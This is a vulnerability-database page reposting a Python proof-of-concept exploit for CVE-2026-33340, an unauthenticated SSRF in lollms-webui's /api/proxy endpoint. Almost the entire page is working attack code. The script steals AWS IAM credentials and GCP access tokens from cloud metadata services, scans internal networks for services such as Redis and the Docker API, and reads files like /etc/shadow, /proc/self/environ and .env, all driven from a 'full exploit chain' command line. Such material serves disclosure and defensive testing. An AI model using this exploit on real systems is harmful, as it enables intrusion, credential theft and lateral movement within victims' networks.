Lucene search
K

๐Ÿ“„ lollms-webui Server-Side Request Forgery

๐Ÿ—“๏ธย 24 Apr 2026ย 00:00:00Reported byย indoushkaTypeย 
packetstorm
ย packetstorm
๐Ÿ”—ย packetstorm.news๐Ÿ‘ย 86ย Views

Advanced SSRF tool simulating cloud metadata leakage and internal network pivot.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2026-33340
24 Mar 202615:58
โ€“attackerkb
Circl
CVE-2026-33340
29 Mar 202617:02
โ€“circl
CNNVD
LoLLMs WEBUI ๅฎ‰ๅ…จๆผๆดž
24 Mar 202600:00
โ€“cnnvd
CVE
CVE-2026-33340
24 Mar 202615:58
โ€“cve
Cvelist
CVE-2026-33340 LoLLMs WEBUI has unauthenticated Server-Side Request Forgery (SSRF) in /api/proxy endpoint
24 Mar 202615:58
โ€“cvelist
EUVD
EUVD-2026-14928
24 Mar 202615:58
โ€“euvd
Nuclei
LoLLMs WEBUI - Server-Side Request Forgery
22 Jun 202605:20
โ€“nuclei
NVD
CVE-2026-33340
24 Mar 202617:16
โ€“nvd
Packet Storm
๐Ÿ“„ lollms-webui Server-Side Request Forgery
31 Mar 202600:00
โ€“packetstorm
Positive Technologies
PT-2026-27456
24 Mar 202600:00
โ€“ptsecurity
Rows per page
==================================================================================================================================
    | # Title     : lollms-webui SSRF for Cloud Metadata Leakage and Internal Network Pivoting                                       |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://lollms.com/                                                                                              |
    ==================================================================================================================================
    
    [+] Summary    : This code is an advanced SSRF designed to simulate the security impact of a vulnerable web application endpoint.
                     Vulnerability testing of a target SSRF endpoint (/api/proxy)
    
    [+] POC        :  
    
    #!/usr/bin/env python3
    
    import requests
    import json
    import argparse
    import sys
    import time
    import socket
    import ipaddress
    import base64
    from urllib.parse import urlparse, urljoin
    from concurrent.futures import ThreadPoolExecutor, as_completed
    from typing import List, Dict, Optional, Tuple
    import logging
    logging.basicConfig(
        level=logging.INFO,
        format='%(asctime)s - %(levelname)s - %(message)s'
    )
    logger = logging.getLogger(__name__)
    CLOUD_METADATA = {
        "aws_imdsv1": {
            "url": "http://169.254.169.254/latest/meta-data/",
            "description": "AWS Instance Metadata Service v1",
            "critical_paths": [
                "iam/security-credentials/",
                "local-ipv4",
                "public-ipv4",
                "instance-id",
                "instance-type",
                "ami-id",
                "hostname",
                "placement/availability-zone",
                "security-groups",
                "mac",
                "network/interfaces/macs/"
            ]
        },
        "aws_imdsv2": {
            "url": "http://169.254.169.254/latest/api/token",
            "description": "AWS IMDSv2 (requires token)",
            "method": "PUT",
            "headers": {"X-aws-ec2-metadata-token-ttl-seconds": "21600"}
        },
        "gcp": {
            "url": "http://metadata.google.internal/computeMetadata/v1/",
            "headers": {"Metadata-Flavor": "Google"},
            "critical_paths": [
                "instance/service-accounts/default/token",
                "instance/service-accounts/default/email",
                "instance/id",
                "instance/name",
                "instance/zone",
                "project/project-id",
                "instance/attributes/ssh-keys"
            ]
        },
        "azure": {
            "url": "http://169.254.169.254/metadata/instance",
            "params": {"api-version": "2021-02-01", "format": "json"},
            "headers": {"Metadata": "true"},
            "critical_paths": [
                "compute/name",
                "compute/vmId",
                "compute/subscriptionId",
                "compute/resourceGroupName",
                "compute/location",
                "network/interface/0/ipv4/ipAddress"
            ]
        },
        "digitalocean": {
            "url": "http://169.254.169.254/metadata/v1.json",
            "critical_paths": [
                "droplet_id",
                "hostname",
                "region",
                "public_ipv4",
                "private_ipv4"
            ]
        },
        "vultr": {
            "url": "http://169.254.169.254/v1.json",
            "critical_paths": [
                "instanceid",
                "region",
                "interfaces/0/ipv4/address"
            ]
        },
        "openstack": {
            "url": "http://169.254.169.254/openstack/latest/meta_data.json",
            "critical_paths": [
                "uuid",
                "name",
                "availability_zone",
                "project_id"
            ]
        }
    }
    INTERNAL_SERVICES = {
        "redis": {"port": 6379, "probe": "PING\r\n", "response": "+PONG"},
        "elasticsearch": {"port": 9200, "probe": "/", "response": "cluster_name"},
        "mysql": {"port": 3306, "probe": None, "tcp": True},
        "postgresql": {"port": 5432, "probe": None, "tcp": True},
        "mongodb": {"port": 27017, "probe": None, "tcp": True},
        "docker_api": {"port": 2375, "probe": "/version", "response": "ApiVersion"},
        "docker_api_tls": {"port": 2376, "probe": "/version", "response": "ApiVersion"},
        "kubernetes_api": {"port": 6443, "probe": "/api/v1/namespaces/default/pods", "response": "kind"},
        "jenkins": {"port": 8080, "probe": "/api/json", "response": "jobs"},
        "grafana": {"port": 3000, "probe": "/api/health", "response": "ok"},
        "prometheus": {"port": 9090, "probe": "/api/v1/status/config", "response": "yaml"},
        "kibana": {"port": 5601, "probe": "/api/status", "response": "version"},
        "spark_master": {"port": 8080, "probe": "/json", "response": "workers"},
        "hadoop_namenode": {"port": 9870, "probe": "/jmx?qry=Hadoop:*", "response": "NameNode"},
        "consul": {"port": 8500, "probe": "/v1/agent/self", "response": "Config"},
        "etcd": {"port": 2379, "probe": "/version", "response": "etcdversion"},
        "cassandra": {"port": 9042, "probe": None, "tcp": True},
        "rabbitmq": {"port": 15672, "probe": "/api/overview", "response": "rabbitmq"},
        "nginx_status": {"port": 80, "probe": "/nginx_status", "response": "Active connections"},
        "php_fpm_status": {"port": 9000, "probe": "/status", "response": "pool"},
    }
    LOCAL_NETWORKS = [
        "127.0.0.0/8",
        "10.0.0.0/8",
        "172.16.0.0/12",
        "192.168.0.0/16",
        "169.254.0.0/16",
    ]
    
    class LollmsSSRFExploit:
        """Main exploit class for CVE-2026-33340"""
        
        def __init__(self, target_url: str, timeout: int = 10, verbose: bool = False):
            """
            Initialize exploit
            
            Args:
                target_url: Target lollms-webui URL (e.g., http://target:9600)
                timeout: Request timeout in seconds
                verbose: Enable verbose output
            """
            self.target_url = target_url.rstrip('/')
            self.proxy_endpoint = f"{self.target_url}/api/proxy"
            self.timeout = timeout
            self.verbose = verbose
            self.session = requests.Session()
            self.session.headers.update({
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
                'Content-Type': 'application/json'
            })
            self.discovered_data = {}
            
        def _make_request(self, url: str) -> Optional[Dict]:
            """
            Make SSRF request to internal target
            
            Args:
                url: Target URL to fetch
                
            Returns:
                Response dict or None on failure
            """
            payload = {"url": url}
            
            try:
                if self.verbose:
                    logger.debug(f"[*] SSRF Request: {url}")
                
                response = self.session.post(
                    self.proxy_endpoint,
                    json=payload,
                    timeout=self.timeout
                )
                
                if response.status_code == 200:
                    result = response.json()
                    return result
                else:
                    if self.verbose:
                        logger.debug(f"[-] HTTP {response.status_code}: {response.text[:100]}")
                    return None
                    
            except requests.exceptions.Timeout:
                logger.debug(f"[!] Timeout: {url}")
                return None
            except requests.exceptions.ConnectionError as e:
                logger.debug(f"[!] Connection error: {e}")
                return None
            except json.JSONDecodeError:
                logger.debug(f"[!] Invalid JSON response")
                return None
            except Exception as e:
                logger.debug(f"[!] Error: {e}")
                return None
        
        def test_vulnerability(self) -> bool:
            """
            Test if the target is vulnerable to SSRF
            
            Returns:
                True if vulnerable, False otherwise
            """
            logger.info("[*] Testing vulnerability...")
            test_url = "http://localhost:9600/api/info"
            result = self._make_request(test_url)
            
            if result and "content" in result:
                logger.info("[+] Target appears VULNERABLE!")
                return True
            else:
                logger.warning("[-] Target may not be vulnerable")
                return False
       
        def steal_aws_metadata(self) -> Dict:
            """Steal AWS EC2 metadata"""
            logger.info("[*] Attempting to steal AWS metadata...")
            data = {}
            for path in CLOUD_METADATA["aws_imdsv1"]["critical_paths"]:
                url = urljoin(CLOUD_METADATA["aws_imdsv1"]["url"], path)
                result = self._make_request(url)
                
                if result and result.get("content"):
                    data[path] = result["content"].strip()
                    logger.info(f"[+] AWS {path}: {result['content'][:100]}")
                    if "security-credentials" in path and result["content"].strip():
                        role = result["content"].strip()
                        creds_url = f"{CLOUD_METADATA['aws_imdsv1']['url']}iam/security-credentials/{role}"
                        creds_result = self._make_request(creds_url)
                        if creds_result:
                            try:
                                creds = json.loads(creds_result["content"])
                                data["credentials"] = creds
                                logger.warning(f"[!!!] AWS IAM CREDENTIALS STOLEN: {creds.get('AccessKeyId')}")
                            except:
                                data["credentials_raw"] = creds_result["content"]
            
            return data
        
        def steal_gcp_metadata(self) -> Dict:
            """Steal GCP metadata"""
            logger.info("[*] Attempting to steal GCP metadata...")
            data = {}
            
            base_url = CLOUD_METADATA["gcp"]["url"]
            headers = CLOUD_METADATA["gcp"]["headers"]
            self.session.headers.update(headers)
            
            for path in CLOUD_METADATA["gcp"]["critical_paths"]:
                url = urljoin(base_url, path)
                result = self._make_request(url)
                
                if result and result.get("content"):
                    data[path] = result["content"].strip()
                    logger.info(f"[+] GCP {path}: {result['content'][:100]}")
                    if "token" in path:
                        try:
                            token_data = json.loads(result["content"])
                            data["access_token"] = token_data.get("access_token")
                            logger.warning(f"[!!!] GCP ACCESS TOKEN STOLEN: {data['access_token'][:50]}...")
                        except:
                            pass
            self.session.headers.pop("Metadata-Flavor", None)
            
            return data
        
        def steal_azure_metadata(self) -> Dict:
            """Steal Azure instance metadata"""
            logger.info("[*] Attempting to steal Azure metadata...")
            data = {}
            
            url = CLOUD_METADATA["azure"]["url"]
            params = CLOUD_METADATA["azure"]["params"]
            headers = CLOUD_METADATA["azure"]["headers"]
            
            self.session.headers.update(headers)
            
            result = self._make_request(f"{url}?{requests.compat.urlencode(params)}")
            
            if result and result.get("content"):
                try:
                    metadata = json.loads(result["content"])
                    data["metadata"] = metadata
                    compute = metadata.get("compute", {})
                    for key in ["name", "vmId", "subscriptionId", "resourceGroupName", "location"]:
                        if key in compute:
                            logger.info(f"[+] Azure {key}: {compute[key]}")
                            data[key] = compute[key]
                    
                    network = metadata.get("network", {})
                    interface = network.get("interface", [{}])[0]
                    ipv4 = interface.get("ipv4", {})
                    ip_addresses = ipv4.get("ipAddress", [])
                    for ip in ip_addresses:
                        if ip.get("privateIpAddress"):
                            logger.info(f"[+] Azure private IP: {ip['privateIpAddress']}")
                            data["private_ip"] = ip["privateIpAddress"]
                            
                except json.JSONDecodeError:
                    data["raw"] = result["content"]
            
            self.session.headers.pop("Metadata", None)
            
            return data
        
        def steal_all_cloud_metadata(self) -> Dict:
            """Attempt to steal metadata from all cloud providers"""
            all_data = {}
            aws_data = self.steal_aws_metadata()
            if aws_data:
                all_data["aws"] = aws_data
            gcp_data = self.steal_gcp_metadata()
            if gcp_data:
                all_data["gcp"] = gcp_data
            azure_data = self.steal_azure_metadata()
            if azure_data:
                all_data["azure"] = azure_data
            for provider, config in CLOUD_METADATA.items():
                if provider not in ["aws_imdsv1", "aws_imdsv2", "gcp", "azure"]:
                    url = config["url"]
                    result = self._make_request(url)
                    if result and result.get("content"):
                        all_data[provider] = result["content"]
                        logger.info(f"[+] {provider.upper()} metadata found!")
            
            return all_data  
        def probe_port(self, ip: str, port: int, service_name: str) -> bool:
            """
            Probe a specific port for service
            
            Args:
                ip: Target IP address
                port: Target port
                service_name: Name of service to check
                
            Returns:
                True if service detected
            """
            service = INTERNAL_SERVICES.get(service_name, {})
            
            if service.get("tcp"):
                try:
                    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                    sock.settimeout(2)
                    result = sock.connect_ex((ip, port))
                    sock.close()
                    return result == 0
                except:
                    return False
            
            else:
                probe_path = service.get("probe", "/")
                url = f"http://{ip}:{port}{probe_path}"
                response = self._make_request(url)
                
                if response and response.get("content"):
                    expected = service.get("response", "")
                    if expected.lower() in response["content"].lower():
                        return True
                        
                return False
        
        def scan_network(self, network_cidr: str, ports: List[int] = None) -> List[Dict]:
            """
            Scan internal network for services
            
            Args:
                network_cidr: Network to scan (e.g., "192.168.1.0/24")
                ports: List of ports to scan (default: all service ports)
                
            Returns:
                List of discovered services
            """
            if ports is None:
                ports = list(set([s["port"] for s in INTERNAL_SERVICES.values()]))
            
            discovered = []
            network = ipaddress.ip_network(network_cidr, strict=False)
            
            logger.info(f"[*] Scanning network: {network_cidr}")
            
            for ip in network.hosts():
                ip_str = str(ip)
                
                for port in ports:
                    for service_name, service in INTERNAL_SERVICES.items():
                        if service["port"] == port:
                            if self.probe_port(ip_str, port, service_name):
                                discovered.append({
                                    "ip": ip_str,
                                    "port": port,
                                    "service": service_name
                                })
                                logger.info(f"[+] Found {service_name} at {ip_str}:{port}")
            
            return discovered
        
        def scan_local_networks(self) -> List[Dict]:
            """Scan all local network ranges"""
            all_discovered = []
            
            for network in LOCAL_NETWORKS:
                try:
                    discovered = self.scan_network(network)
                    all_discovered.extend(discovered)
                except Exception as e:
                    logger.debug(f"[-] Failed to scan {network}: {e}")
            
            return all_discovered
       
        def read_local_file(self, filepath: str) -> Optional[str]:
            """
            Read local file via SSRF (using file:// protocol)
            
            Args:
                filepath: Path to file on server
                
            Returns:
                File contents or None
            """
            urls = [
                f"file://{filepath}",
                f"http://localhost:9600/{filepath}", 
                f"http://127.0.0.1/{filepath}",
            ]
            
            for url in urls:
                result = self._make_request(url)
                if result and result.get("content"):
                    logger.info(f"[+] Read file: {filepath}")
                    return result["content"]
            
            return None
        
        def interact_with_redis(self, redis_host: str = "localhost", redis_port: int = 6379, command: str = "INFO") -> Optional[str]:
            """
            Interact with Redis via SSRF
            
            Args:
                redis_host: Redis host
                redis_port: Redis port
                command: Redis command to execute
                
            Returns:
                Redis response or None
            """
            parts = command.split()
            resp = f"*{len(parts)}\r\n"
            for part in parts:
                resp += f"${len(part)}\r\n{part}\r\n"
            url = f"http://{redis_host}:{redis_port}/"
            result = self._make_request(url)
            if not result:
                logger.warning("[-] Redis direct access may require additional headers")
            
            return result.get("content") if result else None
        
        def access_docker_api(self, docker_host: str = "localhost", docker_port: int = 2375) -> Dict:
            """
            Access Docker API via SSRF
            
            Args:
                docker_host: Docker host
                docker_port: Docker port
                
            Returns:
                Docker API response
            """
            endpoints = [
                "/version",
                "/containers/json?all=true",
                "/images/json",
                "/info",
                "/_ping"
            ]
            
            results = {}
            
            for endpoint in endpoints:
                url = f"http://{docker_host}:{docker_port}{endpoint}"
                result = self._make_request(url)
                
                if result and result.get("content"):
                    results[endpoint] = result["content"]
                    logger.info(f"[+] Docker API {endpoint}: {result['content'][:100]}")
                    if endpoint == "/containers/json" and result["content"]:
                        try:
                            containers = json.loads(result["content"])
                            for container in containers:
                                logger.warning(f"[!!!] Container found: {container.get('Names', ['unknown'])[0]}")
                        except:
                            pass
            
            return results  
        def full_exploit(self, scan_network: bool = True, steal_cloud: bool = True) -> Dict:
            """
            Execute full exploit chain
            
            Args:
                scan_network: Enable internal network scanning
                steal_cloud: Enable cloud metadata theft
                
            Returns:
                Dictionary with all discovered data
            """
            results = {
                "timestamp": time.time(),
                "target": self.target_url,
                "vulnerable": False,
                "cloud_metadata": {},
                "internal_services": [],
                "local_files": {},
                "docker_api": {}
            }
            results["vulnerable"] = self.test_vulnerability()
            
            if not results["vulnerable"]:
                logger.error("[-] Target not vulnerable!")
                return results
    
            if steal_cloud:
                logger.info("\n[*] PHASE 1: Cloud Metadata Theft")
                results["cloud_metadata"] = self.steal_all_cloud_metadata()
    
            if scan_network:
                logger.info("\n[*] PHASE 2: Internal Network Scanning")
                results["internal_services"] = self.scan_local_networks()
                for service in results["internal_services"]:
                    if service["service"] == "docker_api":
                        logger.info(f"[*] Exploiting Docker API at {service['ip']}:{service['port']}")
                        results["docker_api"] = self.access_docker_api(service["ip"], service["port"])
                    
                    elif service["service"] == "redis":
                        logger.info(f"[*] Attempting Redis interaction")
                        redis_data = self.interact_with_redis(service["ip"], service["port"])
                        if redis_data:
                            results[f"redis_{service['ip']}"] = redis_data
    
            logger.info("\n[*] PHASE 3: Local File Reading")
            sensitive_files = [
                "/etc/passwd",
                "/etc/shadow",
                "/etc/hosts",
                "/proc/self/environ",
                "/proc/self/cmdline",
                "/var/log/auth.log",
                "/root/.bash_history",
                "/home/*/.bash_history",
                ".env",
                "config.json",
                "config.yaml",
                "settings.py",
                "secrets.py"
            ]
            
            for filepath in sensitive_files:
                content = self.read_local_file(filepath)
                if content:
                    results["local_files"][filepath] = content[:5000]  
            
            return results
    
    def main():
        parser = argparse.ArgumentParser(
            description='CVE-2026-33340 - lollms-webui SSRF to Cloud Metadata & Internal Network Pivot',
            formatter_class=argparse.RawDescriptionHelpFormatter,
            epilog="""
    Examples:
      python exploit.py -t http://target:9600 --test
      python exploit.py -t http://target:9600 --cloud
      python exploit.py -t http://target:9600 --scan
      python exploit.py -t http://target:9600 --full
      python exploit.py -t http://target:9600 --read-file /etc/passwd
      python exploit.py -t http://target:9600 --docker
      python exploit.py -t http://target:9600 --full --output results.json
            """
        )
        
        parser.add_argument('-t', '--target', required=True, help='Target lollms-webui URL (e.g., http://target:9600)')
        parser.add_argument('--test', action='store_true', help='Test if endpoint is vulnerable')
        parser.add_argument('--cloud', action='store_true', help='Steal cloud metadata (AWS/GCP/Azure)')
        parser.add_argument('--scan', action='store_true', help='Scan internal network for services')
        parser.add_argument('--full', action='store_true', help='Execute full exploit chain')
        parser.add_argument('--read-file', metavar='FILE', help='Read local file from server')
        parser.add_argument('--docker', action='store_true', help='Attempt Docker API access')
        parser.add_argument('--output', '-o', help='Output file for results (JSON)')
        parser.add_argument('--timeout', type=int, default=10, help='Request timeout (default: 10)')
        parser.add_argument('--verbose', '-v', action='store_true', help='Verbose output')
        
        args = parser.parse_args()
        
        print("""
    ========================================
      CVE-2026-33340 - lollms-webui SSRF
      Cloud Metadata Theft & Internal Pivot
    ========================================
        """)
        
        exploit = LollmsSSRFExploit(args.target, args.timeout, args.verbose)
        
        results = {}
    
        if args.test:
            is_vuln = exploit.test_vulnerability()
            results["vulnerable"] = is_vuln
            if is_vuln:
                print("\n[!!!] TARGET IS VULNERABLE!")
    
        if args.read_file:
            content = exploit.read_local_file(args.read_file)
            if content:
                print(f"\n[+] File content:\n{content}")
                results["file_content"] = content
    
        if args.cloud:
            metadata = exploit.steal_all_cloud_metadata()
            results["cloud_metadata"] = metadata
            
            if metadata:
                print("\n[!!!] CLOUD METADATA STOLEN!")
                for provider, data in metadata.items():
                    print(f"\n[{provider.upper()}]")
                    print(json.dumps(data, indent=2))
    
        if args.scan:
            services = exploit.scan_local_networks()
            results["internal_services"] = services
            
            if services:
                print("\n[+] INTERNAL SERVICES DISCOVERED:")
                for service in services:
                    print(f"    {service['service']} at {service['ip']}:{service['port']}")
    
        if args.docker:
            docker_data = exploit.access_docker_api()
            results["docker_api"] = docker_data
            
            if docker_data:
                print("\n[!!!] DOCKER API ACCESSED!")
                for endpoint, data in docker_data.items():
                    print(f"\n[{endpoint}]: {data[:200]}")
    
        if args.full:
            print("\n[*] Executing full exploit chain...")
            results = exploit.full_exploit(scan_network=True, steal_cloud=True)
            
            print("\n" + "="*60)
            print("EXPLOIT RESULTS")
            print("="*60)
            
            if results.get("cloud_metadata"):
                print(f"\n[+] Cloud Metadata: {len(results['cloud_metadata'])} providers")
            
            if results.get("internal_services"):
                print(f"[+] Internal Services: {len(results['internal_services'])} found")
                for svc in results["internal_services"]:
                    print(f"    - {svc['service']} at {svc['ip']}:{svc['port']}")
            
            if results.get("local_files"):
                print(f"[+] Local Files: {len(results['local_files'])} read")
                for f in results["local_files"].keys():
                    print(f"    - {f}")
            
            if results.get("docker_api"):
                print(f"[+] Docker API: {len(results['docker_api'])} endpoints")
    
        if args.output:
            with open(args.output, 'w') as f:
                json.dump(results, f, indent=2, default=str)
            print(f"\n[+] Results saved to {args.output}")
    
        if results:
            print("\n[+] Exploit completed!")
    
    if __name__ == "__main__":
        main()
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation withย Vulners data

Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data

Api

Power your application withย Vulners API

The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access

App

Assess and manage vulnerabilities withย Vulnersย tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Apr 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 3.19.1
EPSS0.21629
SSVC
86